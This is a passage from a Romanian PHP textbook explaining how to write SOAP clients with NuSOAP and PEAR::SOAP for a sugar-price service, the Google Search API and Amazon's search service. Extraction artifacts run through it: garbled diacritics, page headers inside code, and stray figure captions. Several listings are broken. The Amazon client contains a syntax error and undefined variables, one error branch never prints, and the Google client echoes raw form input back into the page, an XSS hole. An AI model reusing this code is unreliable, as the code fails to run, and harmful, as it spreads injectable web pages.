Utilizând informaþiile publicate despre un serviciu Web, se pot scrie clienþi pentru
accesarea serviciului respectiv. În acest scop, se pot utiliza un numãr mare de platforme
ºi limbaje de programare. În continuare, vã prezentãm scrierea clienþilor SOAP în PHP
utilizând NuSOAP.
Ne propunem sã scriem un client SOAP folosind biblioteca NuSOAP pentru accesarea
serviciului wsdl oferit de Sugar Engineer’s Library (http://www.sugartech.co.za).
URL-ul documentului WSDL este http://www.sugartech.co.za/soap/wsdlserver.php?wsdl.
Acesta oferã informaþii cu privire la numele metodei care trateazã cererea clientului ºi la
datele care trebuie transmise ºi, respectiv, întoarse de aceasta. Numele metodei invocate
de client este PreviousClose. Aceasta trebuie sã trimitã serverului un ºir de caractere
(preluat de server în parametrul de intrare symbol). Serviciul întoarce un parametru de
tip Price (definit în spaþiul de nume urn:http://www.sugartech.co.za), transformat de
NuSOAP într-un tablou. Tipul Price este definit în secþiunea types a documentului
WSDL:
<xsd:complexType name=”Price”>
<xsd:all>
<xsd:element name=”Date” type=”xsd:string”/>
<xsd:element name=”Symbol” type=”xsd:string”/>
<xsd:element name=”Open” type=”xsd:float”/>
<xsd:element name=”Low” type=”xsd:float”/>
<xsd:element name=”High” type=”xsd:float”/>
<xsd:element name=”Close” type=”xsd:float”/>
<xsd:element name=”Last” type=”xsd:float”/>
<xsd:element name=”Chnge” type=”xsd:float’/>
</xsd:all>
</xsd:complexType>
Mesajele definite în documentul WSDL sunt:
<message name=”PreviousCloseRequest”>
<part name=”symbol” type=”xsd:string” />
</message>
<message name=”PreviousCloseResponse”>
196 PROGRAMAREA ÎN PHP

<part name=”return” type=”tns:Price” />


</message>
În secþiunea portType este definitã operaþiunea/metoda PreviousClose :
<portType name=”wsdlPortType”>
<operation name=”PreviousClose”>
<documentation>Returns the previous closing price of
a sugar futures contract
</documentation>
<input message=”tns:PreviousCloseRequest”/>
<output message=”tns:PreviousCloseResponse”/>
</operation>
</portType>

În continuare (listing-ul 7.9) este prezentat clientul SOAP propus:

7.9. Fiºierul clientPreviousPrice.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>wsdl Service</title>
</head>
<body>
<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>?type”
method=”get”>
<table align=”center”>
<tr>
<td align=”center”>
<select name=”type”>
<option value=”SB”
<?php if(isset($_GET[’type’]) && $_GET[’type’] == ’SB’)
echo ”selected”; ?>>
Zahar alb rafinat
</option>
<option value=”SW”
<?php if(isset($_GET[’type’]) && $_GET[’type’] == ’SW’)
echo ”selected”; ?>>
Zahar brut
</option>
</select>
</td>
</tr>
<tr>
<td align=”center”><input type=”submit” value=”Invoke”
name=”submit”>
PHP ªI SERVICIILE WEB 197

</td>
</tr>
</table>
</form>
<?php
if(isset($_GET[’submit’])) {
require_once(’nusoap.php’);
$type = $_GET[’type’];
$parameters = array(”symbol” => $type);
$client = new soapclient(’http://www.sugartech.co.za/
soap/wsdlserver.php’);
$result = $client->call(’PreviousClose’, $parameters);
if(!$err = $client->getError()) {
echo ”<center><h2>Sugar Price</h2></center>”;
echo ”<table align=’center’ border=’1’ cellpadding=’5’>”;
foreach($result as $cheie => $element)
echo ”<tr><td width=’100’ bgcolor=’#d6d6d6’>” .
$cheie .
”</td><td width=’100’ bgcolor=’#f9f9f9’>” .
$element .
”</td></tr>”;
echo ”</table>”;
}
else {
”Eroare: ” . $err;
}
//echo $client->request;
//echo $client->response;
}
?>

obþinute în urma execuþiei fiºierului clientPreviousClose.php

Puteþi obþine preþul zahãrului alb rafinat


ºi al zahãrului brut utilizând clientul
clientPreviousClose.php ºi serviciul wsdl
(http://www.sugartech.co.za/soap/wsdlserver.php)
198 PROGRAMAREA ÎN PHP

Salvaþi conþinutul listing-ului anterior în fiºierul clientPreviousClose.php ºi executaþi-l


(http://127.0.0.1/soap/clientPreviousClose.php). Dacã decomentaþi ultimele douã linii,
vor fi afiºate atât cererea clientului SOAP, cât ºi rãspunsul serverului.
Vã propunem ca exerciþiu scrierea unor clienþi SOAP în PHP utilizând NuSOAP
pentru câteva dintre serviciile Web publicate la http://www.xmethods.com.

Motor de cãutare cu PHP NuSOAP ºi GoogleSearchService


Google oferã utilizatorilor (vezi Google WebAPIs, http://www.google.com/apis) un
serviciu Web de cãutare. Astfel, este posibil ca aceºtia sã integreze cãutarea Google în
situl propriu (nu doar afiºarea unei legãturi care deschide Google) ºi sã personalizeze
afiºarea rezultatelor cãutãrii. Este necesar ca utilizatorul sã-ºi creeze un cont prin
intermediul cãruia îºi va procura o cheie, ce va însoþi fiecare cerere adresatã serviciului
respectiv.
Serviciul Web oferit de Google utilizeazã SOAP ºi WSDL. Google furnizeazã
un pachet numit googleapi (http://www.google.com/apis/download.html), care
include documentaþie ºi exemple de cod pentru utilizarea serviciului (e.g.,
fiºierul WSDL ºi exemple .NET care invocã serviciul etc.). Presupunem cã aþi descãrcat
pachetul googleapi, cã aveþi un cont Google ºi cã v-aþi procurat cheia necesarã pentru
accesarea serviciului.
Iatã cum este definit serviciul în fiºierul WSDL (GoogleSearch.wsdl) al serviciului:
<service name=”GoogleSearchService”>
<port name=”GoogleSearchPort”
binding=”typens:GoogleSearchBinding”>
<soap:address location=”http://api.google.com/search/beta2”/>
</port>
</service>
Dupã cum se poate constata, numele serviciului este GoogleSearchService, iar URL-ul
acestuia, http://api.google.com/search/beta2. De asemenea, se observã (în secþiunea
binding) cã serviciul GoogleSearchService oferã utilizatorilor posibilitatea de a utiliza
trei operaþiuni: doGetCachedPage, doSpellingSugestion ºi doGoogleSearch. Deo-
arece în aceastã secþiune vom oferi o aplicaþie care utilizeazã operaþiunea doGoogleSearch,
în continuare, vom prezenta definiþia acestei operaþiuni ºi includerea ei în secþiunea
binding .
În fiºierul WSDL, în secþiunea portType, aceastã operaþiune se regãseºte astfel:
<operation name=”doGoogleSearch”>
<input message=”typens:doGoogleSearch”/>
<output message=”typens:doGoogleSearchResponse”/>
</operation>

În secþiunea binding, operaþiunea doGoogleSearch se regãseºte astfel:


<binding name=”GoogleSearchBinding”
type=”typens:GoogleSearchPort”>
<soap:binding style=”rpc”
PHP ªI SERVICIILE WEB 199

transport=”http://schemas.xmlsoap.org/soap/http”/>
<operation name=”doGoogleSearch”>
<soap:operation soapAction=”urn:GoogleSearchAction”/>
<input>
<soap:body use=”encoded”
namespace=”urn:GoogleSearch”
encodingStyle=”http://schemas.xmlsoap.org/
soap/encoding/”/>
</input>
<output>
<soap:body use=”encoded”
namespace=”urn:GoogleSearch”
encodingStyle=”http://schemas.xmlsoap.org/
soap/encoding/”/>
</output>
</operation>
</binding>

În fiºierul GoogleSearch.wsdl, mesajele asociate acestei operaþiuni sunt:


<message name=”doGoogleSearch”>
<part name=”key” type=”xsd:string”/>
<part name=”q” type=”xsd:string”/>
<part name=”start” type=”xsd:int”/>
<part name=”maxResults” type=”xsd:int”/>
<part name=”filter” type=”xsd:boolean”/>
<part name=”restrict” type=”xsd:string”/>
<part name=”safeSearch” type=”xsd:boolean”/>
<part name=”lr” type=”xsd:string”/>
<part name=”ie” type=”xsd:string”/>
<part name=”oe” type=”xsd:string”/>
</message>
<message name=”doGoogleSearchResponse”>
<part name=”return” type=”typens:GoogleSearchResult”/>
</message>

Dupã cum se poate constata, parametrii de cãutare (doi având tipul xsd:boolean ,
doi – tipul xsd:int ºi ºase – tipul xsd:string), care trebuie precizaþi în cererea SOAP
formulatã de client (vezi mesajul doGoogleSearch), sunt urmãtorii:
• key (desemneazã cheia furnizatã de Google, fiind necesarã pentru accesarea serviciului);
• q (ºirul cãutat);
• start (indexul de start pentru numãrarea rezultatelor cãutãrii, de exemplu 1);
• maxResults (numãrul de rezultate întors ca rãspuns la o cerere; valoarea maximã
posibilã este 10);
• filter (valorile posibile sunt FALSE ºi TRUE. Valoarea TRUE activeazã un mecanism
de filtrare care eliminã rezultatele foarte asemãnãtoare sau care provin din aceeaºi
paginã Web. Google recomandã utilizarea valorii FALSE);
200 PROGRAMAREA ÎN PHP

• restrict (restricþioneazã cãutarea la un subset al Google Web index);


• safeSearch (valorile posibile sunt FALSE ºi TRUE. Valoarea TRUE activeazã un
mecanism de filtrare, eliminând conþinutul adresat adulþilor);
• lr (language restrict – restricþioneazã cãutarea numai la documente scrise într-unul
sau mai multe limbaje precizate. De exemplu, pentru a preciza cã doriþi documente
scrise în limba românã, folosiþi valoarea lang_ro; pentru documente scrise în limba
englezã folosiþi lang_en);
• ie (input encoding – acest parametru este depreciat ºi ignorat de serviciul de cãutare.
Toate cererile cãtre acest serviciu vor fi fãcute utilizând codificarea UTF-8);
• oe (Output Encoding – vezi parametrul anterior).
Puteþi afla detalii suplimentare despre aceºti parametri citind documentul „Google
Web APIs Reference” (APIs_Reference.html) inclus în pachetul googleapi.
Vom prezenta din secþiunea types a documentului WSDL numai declaraþia tipului
complex GoogleSearchResult al rezultatului întors în urma efectuãrii operaþiunii
doGoogleSearch:
<types>
<xsd:schema xmlns=”http://www.w3.org/2001/XMLSchema”
targetNamespace=”urn:GoogleSearch”>
<xsd:complexType name=”GoogleSearchResult”>
<xsd:all>
<xsd:element name=”documentFiltering”
type=”xsd:boolean”/>
<xsd:element name=”searchComments” type=”xsd:string”/>
<xsd:element name=”estimatedTotalResultsCount”
type=”xsd:int”/>
<xsd:element name=”estimateIsExact”
type=”xsd:boolean”/>
<xsd:element name=”resultElements”
type=”typens:ResultElementArray”/>
<xsd:element name=”searchQuery” type=”xsd:string”/>
<xsd:element name=”startIndex” type=”xsd:int”/>
<xsd:element name=”endIndex” type=”xsd:int”/>
<xsd:element name=”searchTips” type=”xsd:string”/>
<xsd:element name=”directoryCategories”
type=”typens:DirectoryCategoryArray”/>
<xsd:element name=”searchTime” type=”xsd:double”/>
</xsd:all>
</xsd:complexType>
<xsd:complexType name=”ResultElement”>
<xsd:all>
<xsd:element name=”summary” type=”xsd:string”/>
<xsd:element name=”URL” type=”xsd:string”/>
<xsd:element name=”snippet” type=”xsd:string”/>
<xsd:element name=”title” type=”xsd:string”/>
<xsd:element name=”cachedSize” type=”xsd:string”/>
PHP ªI SERVICIILE WEB 201

<xsd:element name=”relatedInformationPresent”
type=”xsd:boolean”/>
<xsd:element name=”hostName” type=”xsd:string”/>
<xsd:element name=”directoryCategory”
type=”typens:DirectoryCategory”/>
<xsd:element name=”directoryTitle” type=”xsd:string”/>
</xsd:all>
</xsd:complexType>
<xsd:complexType name=”ResultElementArray”>
<xsd:complexContent>
<xsd:restriction base=”soapenc:Array”>
<xsd:attribute ref=”soapenc:arrayType”
wsdl:arrayType=”typens:ResultElement[]”/>
</xsd:restriction>
</xsd:complexContent>
</xsd:complexType>
</xsd:schema>
</types>
Dupã cum puteþi constata, tipul complex GoogleSearchResult include unsprezece
date (douã având tipul xsd:boolean, trei – tipul xsd:int, una – tipul xsd:double,
trei – tipul xsd:string, una – tipul complex typens:ResultElementArray ºi alta –
tipul complex typens:DirectoryCategoryArray) . Am prezentat, de asemenea, ºi
definiþia tipului complex typens:ResultElementArray.
Puteþi afla semnificaþia datelor – ale cãror declaraþii de tipuri le-am prezentat – citind
documentul APIs_Reference.html. În continuare, vom prezenta numai câteva (cele pe
care le vom folosi efectiv):
• resultElements (tablou care conþine rezultatele cãutãrii);
• estimatedTotalResultsCount (numãrul estimat al rezultatelor obþinute în cãu-
tarea curentã);
• resultElements[’URL’] (URL-ul absolut asociat unui rezultat al cãutãrii);
• resultElements[’title’] (titlul unui rezultat al cãutãrii, întors în format HTML);
• resultElements[’snippet’] (aratã ºirul cãutat în contextul în care apare într-un
rezultat al cãutãrii).
În listing-ul 7.10 este prezentat un client SOAP pentru serviciul GoogleSearchService
(operaþiunea doGoogleSearch), scris în PHP, care utilizeazã biblioteca NuSOAP. Salvaþi
scriptul în fiºierul clientGoogleSearch.php.
7.10. Fiºierul clientGoogleSearch.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Servicii Web cu NuSOAP</title>
</head>
202 PROGRAMAREA ÎN PHP

<body>
<h3>Client SOAP/NuSOAP pentru accesarea
<i>GoogleSearchService</i></h3>
<form method=”post”
action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
<table bgcolor=”#d6d6d6” cellpadding=”5”>
<tr>
<td>Sir de cautare</td>
<td><input type=”text” name=”myString” size=”50”
value=”<?php if(isset($_POST[’myString’]))
echo $_POST[’myString’]; ?>”></td>
</tr>
<tr>
<td>Selecteaza Limba</td>
<td align=”center”>
<select name=”lang”>
<option value=”all”
<?php if(isset($_POST[’lang’]) &&
$_POST[’lang’] == ’all’)
echo ”selected”; ?>>Toate limbile</option>
<option value=”lang_ro”
<?php if(isset($_POST[’lang’]) &&
$_POST[’lang’] == ’lang_ro’)
echo ”selected”; ?>>Limba romana</option>
<option value=”lang_en”
<?php if(isset($_POST[’lang’]) &&
$_POST[’lang’] == ’lang_en’)
echo ”selected”; ?>>Limba engleza</option>
</select>
</td>
</tr>
<tr>
<td></td>
<td align=”center”>
<input type=”reset” name=”Reset”>
<input type=”submit” name=”submit”
value=”Search”>
</td>
</tr>
</table>
</form>
<?php
if(isset($_POST[’submit’]) && isset($_POST[’myString’]) &&
trim($_POST[’myString’])) {
require_once(’nusoap.php’);
$myString = $_POST[’myString’];
PHP ªI SERVICIILE WEB 203

if(isset($_POST[’lang’])){
$lang = $_POST[’lang’];
if($lang == ”all”)
$lang = ””;
}
// Seteaza parametrii
$parameters = array(
’key’ =>’********************************’, // 32 caractere
’q’ => $myString,
’start’ => 1,
’maxResults’ => ’10’,
’filter’ => ’false’,
’restrict’ => ’’,
’safeSearch’ => ’true’,
’lr’ => $lang,
’ie’ => ’’,
’oe’ => ’’
);
$soapclient = new soapclient (
’http://api.google.com/GoogleSearch.wsdl’, ’wsdl’);
$results = $soapclient->call(’doGoogleSearch’, $parameters);
if (is_array($results[’resultElements’])) {
echo ”<p><b>Cautarea pentru <i>” .
$myString . ”</i> a gasit ” .
$results[’estimatedTotalResultsCount’] .
”intrari:</b></p>”;
foreach ($results[’resultElements’] as $result) {
echo ”<p><a href=’” .
$result[’URL’] .
”’ target=’_blank’>” .
($result[’title’] ? $result[’title’] :
’fara title’) .
”</a><br />” .
($result[’snippet’] ? $result[’snippet’] :
’fara snippet’) .
”<br>”.$result[’URL’].”</p>”;
}
} else { // Daca nu sunt intoarse rezultate
echo ”<b>Cautarea cu Google nu a intors nici
un rezultat.</b>”;
}
}
?>
</body>
</html>
204 PROGRAMAREA ÎN PHP

Scriptul prezentat oferã utilizatorului posibilitatea de a cãuta documente scrise într-o


anumitã limbã, aceasta fiind selectatã dintr-o listã (am introdus numai trei posibilitãþi:
toate limbile, limba englezã ºi limba românã; lista poate fi extinsã, utilizând pentru
parametrul lr valorile precizate în documentul APIs_Reference.html, secþiunea 2.4,
„Restricts”). Executaþi clientul (http://127.0.0.1/soap/clientGoogleSearch.php) ºi intro-
duceþi Web PHP MySQL POLIROM ca ºir de cãutare, selectaþi limba românã ºi invocaþi
GoogleSearchService cu aceºti parametri (Search). Veþi obþine un rezultat similar cu:
obþinute în urma execuþiei fiºierului clientGoogleSearch.php

Selectaþi limba ºi introduceþi


un ºir de cãutare
pentru GoogleSearchService.

Implicit, serviciul întoarce numai acele documente care includ toþi termenii prezenþi
în ºirul de cãutare (preluat în parametrul q). Cu alte cuvinte, nu este necesar sã includeþi
(în script) operatorul AND între termeni. Puteþi gãsi alte precizãri privind ºirul de
cãutare în documentul APIs_Reference.html, secþiunea 2.2, „Query Terms”.
Conform restricþiilor impuse de Google, se pot efectua cel mult 1.000 de cãutãri
zilnic utilizând o cheie datã, iar la o cãutare se pot afiºa cel mult 10 rezultate.
Totuºi, dacã numãrul de rezultate obþinute în urma unei cereri este mai mare
decât 10, le puteþi afiºa pe toate (sau numai o parte din ele) utilizând o buclã for în care
incrementaþi parametrul start (i.e., într-o paginã vor fi afiºate rezultatele obþinute în
urma mai multor cereri SOAP adresate serviciului de cãutare).

Client PEAR::SOAP pentru Amazon


Pachetul PEAR::SOAP permite dezvoltatorilor Web sã scrie clienþi ºi servere pentru
implementarea serviciilor Web. În aceastã secþiune ne vom referi numai la utilizarea
acestui pachet pentru scrierea clienþilor în vederea accesãrii unor servicii publice
existente. Pentru a utiliza acest pachet, este necesar sã-l instalaþi. Versiunea curentã a
pachetului este 0.91 (beta):
pear install -o SOAP-beta
PHP ªI SERVICIILE WEB 205

Vã propunem realizarea unei aplicaþii-client care foloseºte pachetul PEAR::SOAP,


pentru accesarea unuia dintre serviciile Web oferite de Amazon (http://amazon.com).
Acest sit oferã dezvoltatorilor Web urmãtoarele servicii:
• Amazon E-commerce Service (AWSEcommerceService), versiunea 4;
• Alexa Web Information Service, aflat în stadiul de dezvoltare beta (AWSAlexa);
• Amazon Simple Queue Service, aflat în stadiul de dezvoltare beta (AWSSimpleQueue
Service).
Versiunea 3 a serviciului de comerþ electronic se numeºte AmazonSearchService.
Descrierea WSDL a acestui serviciu o gãsiþi la adresa urmãtoare: http://soap.amazon.com/
schemas3/AmazonWebServices.wsdl.
Pentru a putea utiliza (http://www.amazon.com/gp/browse.html/104-4574024-3022351
?%5Fencoding=UTF8&node=3435361) serviciile Web oferite de Amazon trebuie sã
parcurgeþi urmãtoarele etape :
• înregistraþi-vã, pentru a putea deveni dezvoltator Amazon Web Services;
• descãrcaþi (dacã doriþi) exemplele de cod-sursã oferite de Amazon pentru accesarea
serviciilor sale;
• citiþi documentaþia oferitã.
Dupã ce vã înregistraþi, veþi primi un identificator (Amazon ID) ce va trebui utilizat
în scripturile pe care le veþi scrie pentru accesarea serviciilor Amazon. Vom presupune
cã aþi obþinut acest identificator. Documentaþia ºi exemplele de cod (PHP, Java etc.) sunt
incluse în Amazon Web Services SDK.
Ne vom limita numai la prezentarea unei aplicaþii care acceseazã serviciul Amazon-
SearchService. Definiþia serviciului, inclusã în secþiunea corespunzãtoare a fiºierului
WSDL, este:
<service name=”AmazonSearchService”>
<!--
Endpoint for Amazon Web APIs
  -->
<port name=”AmazonSearchPort”
binding=”typens:AmazonSearchBinding”>
  <soap:address location=”http://soap.amazon.com/onca/soap3” />
  </port>
</service>
Dacã analizaþi conþinutul fiºierului WSDL al serviciului, puteþi observa cã acesta
include 26 de operaþiuni. Dintre acestea, în exemplul oferit vom utiliza numai douã:
ManufacturerSearchRequest ºi PowerSearchRequest. În secþiunea binding sunt
precizate informaþii referitoare la cele douã operaþiuni:
<binding name=”AmazonSearchBinding”
type=”typens:AmazonSearchPort”>
  <soap:binding style=”rpc”
transport=”http://schemas.xmlsoap.org/soap/http” />
<!--
Binding for Amazon Web APIs - RPC, SOAP over HTTP
  -->
206 PROGRAMAREA ÎN PHP

<operation name=”PowerSearchRequest”>
  <soap:operation soapAction=”http://soap.amazon.com” />
<input>
  <soap:body use=”encoded”
encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”
namespace=”http://soap.amazon.com” />
  </input>
<output>
  <soap:body use=”encoded”
encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”
namespace=”http://soap.amazon.com” />
  </output>
</operation>
<operation name=”ManufacturerSearchRequest”>
  <soap:operation soapAction=”http://soap.amazon.com” />
<input>
  <soap:body use=”encoded”
encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”
namespace=”http://soap.amazon.com” />
  </input>
<output>
  <soap:body use=”encoded”
encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”
namespace=”http://soap.amazon.com” />
  </output>
</operation>
</binding>

În secþiunea corespunzãtoare din fiºierul WSDL, aceste operaþiuni sunt definite


astfel:
<portType name=”AmazonSearchPort”>
<!--
Port for Amazon Web APIs
  -->
<operation name=”PowerSearchRequest”>
  <input message=”typens:PowerSearchRequest” />
  <output message=”typens:PowerSearchResponse” />
</operation>
<operation name=”ManufacturerSearchRequest”>
  <input message=”typens:ManufacturerSearchRequest” />
  <output message=”typens:ManufacturerSearchResponse” />
</operation>
</portType>

Mesajele utilizate de aceste operaþiuni, definite în secþiunea corespunzãtoare a


fiºierului WSDL, sunt:
PHP ªI SERVICIILE WEB 207

<message name=”PowerSearchRequest”>
  <part name=”PowerSearchRequest” type=”typens:PowerRequest” />
  </message>
<message name=”PowerSearchResponse”>
  <part name=”return” type=”typens:ProductInfo” />
  </message>
<message name=”ManufacturerSearchRequest”>
  <part name=”ManufacturerSearchRequest”
type=”typens:ManufacturerRequest” />
  </message>
<message name=”ManufacturerSearchResponse”>
  <part name=”return” type=”typens:ProductInfo” />
  </message>
Mesajele prezentate utilizeazã tipuri de date – typens:PowerRequest ,
typens:ManufacturerRequest ºi ProductInfo – incluse în spaþiul de nume al
documentului, xmlns:typens=”http://soap.amazon.com” ºi definite în secþiunea
types a fiºirului WSDL.
Tipul typens:PowerRequest (al datelor trimise în cererea SOAP pentru operaþiunea
PowerSearchRequest ) este definit astfel:

<xsd:complexType name=”PowerRequest”>
<xsd:all>
<xsd:element name=”power” type=”xsd:string”/>
<xsd:element name=”page” type=”xsd:string”/>
<xsd:element name=”mode” type=”xsd:string”/>
<xsd:element name=”tag” type=”xsd:string”/>
<xsd:element name=”type” type=”xsd:string”/>
<xsd:element name=”devtag” type=”xsd:string”/>
<xsd:element name=”sort” type=”xsd:string” minOccurs=”0”/>
<xsd:element name=”locale” type=”xsd:string” minOccurs=”0”/>
</xsd:all>
</xsd:complexType>

Dupã cum se poate observa, tipul complex typens:PowerRequest include numai


date care au tipul simplu xsd:string.
Tipul complex typens:ManufacturerRequest (al datelor trimise în cererea SOAP
pentru operaþiunea ManufacturerSearchRequest) este definit astfel:
<xsd:complexType name=”ManufacturerRequest”>
<xsd:all>
<xsd:element name=”manufacturer” type=”xsd:string”/>
<xsd:element name=”page” type=”xsd:string”/>
<xsd:element name=”mode” type=”xsd:string”/>
<xsd:element name=”tag” type=”xsd:string”/>
<xsd:element name=”type” type=”xsd:string”/>
<xsd:element name=”devtag” type=”xsd:string”/>
<xsd:element name=”sort” type=”xsd:string” minOccurs=”0”/>
208 PROGRAMAREA ÎN PHP

<xsd:element name=”locale” type=”xsd:string” minOccurs=”0”/>


<xsd:element name=”keywords” type=”xsd:string” minOccurs=”0”/>
<xsd:element name=”price” type=”xsd:string” minOccurs=”0”/>
</xsd:all>
</xsd:complexType>
Dupã cum se poate observa, tipul complex typens:ManufacturerRequest include
numai date care au tipul simplu xsd:string.
Tipul typens:ProductInfo (al rezultatului întors de serviciu dupã efectuarea
operaþiilor ManufacturerSearchRequest ºi PowerSearchRequest) este definit
astfel:
<xsd:complexType name=”ProductInfo”>
<xsd:all>
  <xsd:element name=”TotalResults” type=”xsd:string”
minOccurs=”0” />
<!--
Numarul total al rezultatelor gasite
  -->
  <xsd:element name=”TotalPages” type=”xsd:string”
minOccurs=”0” />
<!--
Nuamarul total al paginilor in care sunt incluse rezultatele
  -->
  <xsd:element name=”ListName” type=”xsd:string”
minOccurs=”0” />
<!--
Structura unui rezultat
  -->
  <xsd:element name=”Details” type=”typens:DetailsArray”
minOccurs=”0” />
</xsd:all>
</xsd:complexType>
Dupã cum se poate constata, o datã de tipul typens:ProductInfo include trei date
de tipul xsd:string (acestea sunt TotalResults, TotalPages ºi ListName) ºi o
datã complexã având tipul typens:DetailsArray (aceasta este Details). La rândul
ei, o datã de tipul DetailsArray include date complexe al cãror tip este definit, de
asemenea, în documentul WSDL. Invitãm cititorii sã parcurgã singuri aceste definiþii,
deoarece prezentarea lor integralã în lucrare ar necesita un spaþiu tipografic prea mare.
În listing-ul 7.11 este prezentat un client pentru accesarea serviciului Amazon-
SearchService. Salvaþi conþinutul listing-ului în fiºierul clientAmazonSearchService.php.
7.11. Fiºierul clientAmazonSearchService.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
PHP ªI SERVICIILE WEB 209

<head>
<title>Servicii Web cu PEAR::SOAP</title>
<style>
.results {
font-family: tahoma; font-size: 14px;
}
td#authors {
background: #d6d6d6; font-family: tahoma;
font-size: 14px;
}
td#product {
background: #d6d6d6; font-family: tahoma;
font-size: 18px; font-style: bold;
}
td#price {
background: #ffffff; font-family: tahoma;
font-size: 14px; color: #ff0000;
}
</style>
</head>
<body>
<h3>Client PEAR::SOAP pentru accesarea
<i>AmazonSearchService</i></h3>
<?php
require_once(’SOAP/Client.php’);
// URL-ul fiserului WSDL al serviciului
$wsdl_url = ’http://soap.amazon.com/schemas3/
AmazonWebServices.wsdl’;
// Se instantiaza un obiect SOAP_WSDL
$WSDL = new SOAP_WSDL($wsdl_url);
// Metoda getProxy() intoarce un obiect-client
$client = $WSDL->getProxy();
// Parametrii care vor fi inclusi in cererea SOAP
$params = array(
’manufacturer’ => ”O’Reilly”,
’mode’ => ’books’,
’sort’ => ’+title’,
’page’ => 1,
’type’ => ’lite’,
’tag’ => ’trachtenberg-20’,
’devtag’ => ’*******************’, //ID (10 caractere)
);
/* Este apelata metoda ManufacturerSearchRequest a serviciului,
careia i se trimit parametri intr-un tablou asociativ. */
$results = $client->ManufacturerSearchRequest($params);
// Sunt afisate rezultatele intoarse de metoda
210 PROGRAMAREA ÎN PHP

// Se afiseaza numarul de rezultate intoarse


echo ”<p class=’results’>Nr. rezultate: ”.
$resultsts->TotalResults . ”</p>”;
echo ”<table cellpadding=’2’ cellspacing=’4’ width=’450’>”;
foreach ($results->Details as $result) {
$ProductName = htmlentities($result->ProductName);
// Se verifica daca sunt mai multi autori
if(is_array($result->Authors))
// Daca sunt, se alcatuieste un sir din numele acestora
$Authors = implode(” and ”, $result->Authors);
else
$Authors = $result->Authors;
/* Se afiseaza informatiile obtinute: imaginea copertei,
numele produsului (titlul cartii), autorii si pretul */
echo ”<tr>
<td rowspan=’3’><a href=’$result->Url’>
<image src=’$hit->ImageUrlSmall’ alt=’$ProductName’
align=’left’></a></td>”;
<td id=’product’>$ProductName</td>
</tr>
<tr>
<td id=’authors’>$Authors</td>
</tr>
<tr>
<td id=’price’>Amazon.com Price: $result->OurPrice
</td>
</tr>”;
}
echo ”</table>”;
?>

Constructorul clasei WSDL_SOAP se apeleazã cu parametrul $wsdl_url , a cãrui


valoare este URL-ul fiºierului WSDL al serviciului AmazonSearchService. Prin instan-
þirea clasei WSDL_SOAP se obþine un obiect a cãrui metodã getProxy() întoarce un
obiect-client ce va fi utilizat pentru trimiterea cererilor SOAP.
Metoda ManufacturerSearchRequest() primeºte ca parametru tabloul $params,
ale cãrui elemente au urmãtoarele semnificaþii:
• manufacturer – stabileºte producãtorul, aici O’Reilly;
• mode – stabileºte produsul cãutat (books, în exemplul oferit);
• sort – stabileºte criteriul de cãutare; în exemplul oferit, cãutarea se face dupã titlul
lucrãrii. Prefixul + precizeazã cã ordonarea se va face începând cu produsele cel mai
bine vândute (-, în caz contrar);
• page – pentru a economisi resursele, Amazon întoarce pentru o cerere numai zece
rezultate. Parametrul page stabileºte numãrul de start pentru cele 10 rezultate (dacã
acesta este 10, vor fi întoarse rezultatele de la 10 la 20 etc.). În cazul în care existã un
numãr mai mare de zece produse, pentru a le afiºa în pagina dumneavostr㠖 pe toate
PHP ªI SERVICIILE WEB 211

sau numai o parte dintre ele –, creaþi o buclã for, incrementaþi page ºi afiºaþi câte
produse doriþi;
• type – stabileºte ce rezultate vor fi întoarse. Valoarea lite a parametrului (utilizatã
în exemplul oferit) se referã la faptul cã sunt întoarse informaþii referitoare numai la
numele produsului, autor, preþ, imagini (trei tipuri) ºi producãtor. Valoarea heavy se
referã la faptul cã sunt întoarse toate informaþiile disponibile despre produs;
• tag – valoarea sa este un nume asociat Amazon;
• devtag – este ID-ul obþinut de dezvoltator (vezi începutul acestei secþiuni).

obþinute în urma execuþiei clientAmazonSearchService.php (1)

Utilizaþi AmazonSearchService
pentru a cãuta informaþii referitoare
la produsele oferite de Amazon.com.

PHP::SOAP converteºte datele transmise într-un mesaj SOAP pe care îl împa-


cheteazã într-o cerere HTTP. Aceasta este trimisã serviciului AmazonSearchService.
Dupã procesarea cererii, acesta întoarce un mesaj SOAP, primit de client. PHP::SOAP
proceseazã mesajul SOAP într-un obiect PHP, întors de metoda $client->
ManufacturerSearchRequest() ºi stocat în $results. Ulterior, sunt afiºate infor-
maþiile conþinute în obiectul $results.
Se pot trimite cãtre AmazonSearchService mesaje mai complexe, astfel încât cãutarea
produselor sã se facã dupã diverse criterii. În acest scop se utilizeazã operaþiunea
PowerSearchRequest. De exemplu, pentru a cãuta cãrþile publicate de editura O’Reilly
având ca subiect MySQL, înlocuiþi în scriptul anterior $params cu:
$params = array(
’power’ => ”publisher:O’Reilly AND keywords:MySQL”,
’mode’ => ’books’,
’sort’ => ’+title’,
’page’ => 1,
’type’ => ’lite’,
’tag’ => ’trachtenberg-20’,
’devtag’ => ’*******************’,
);
212 PROGRAMAREA ÎN PHP

iar linia în care se trimite cererea ºi se primeºte rãspunsul, înlocuiþi-o cu:


$hits = $client->PowerSearchRequest($params);
Semnificaþia elementelor mode, sort, page, type, tag ºi devtag este aceeaºi cu
cea a elementelor cu acelaºi nume incluse în tabloul transmis ca parametru metodei
ManufacturerSearchRequest(). Elementul power permite specificarea unor criterii
de cãutare multiple. În exemplul oferit, cãutarea se face dupã editor ( publisher ) ºi
cuvinte-cheie (keywords).
Veþi obþine rezultate similare cu:
obþinute în urma execuþiei clientAmazonSearchService.php (2)

Utilizaþi AmazonSearchService
pentru a cãuta informaþii
folosind criterii de cãutare
multiple

PHP ºi REST
Introducere în REST
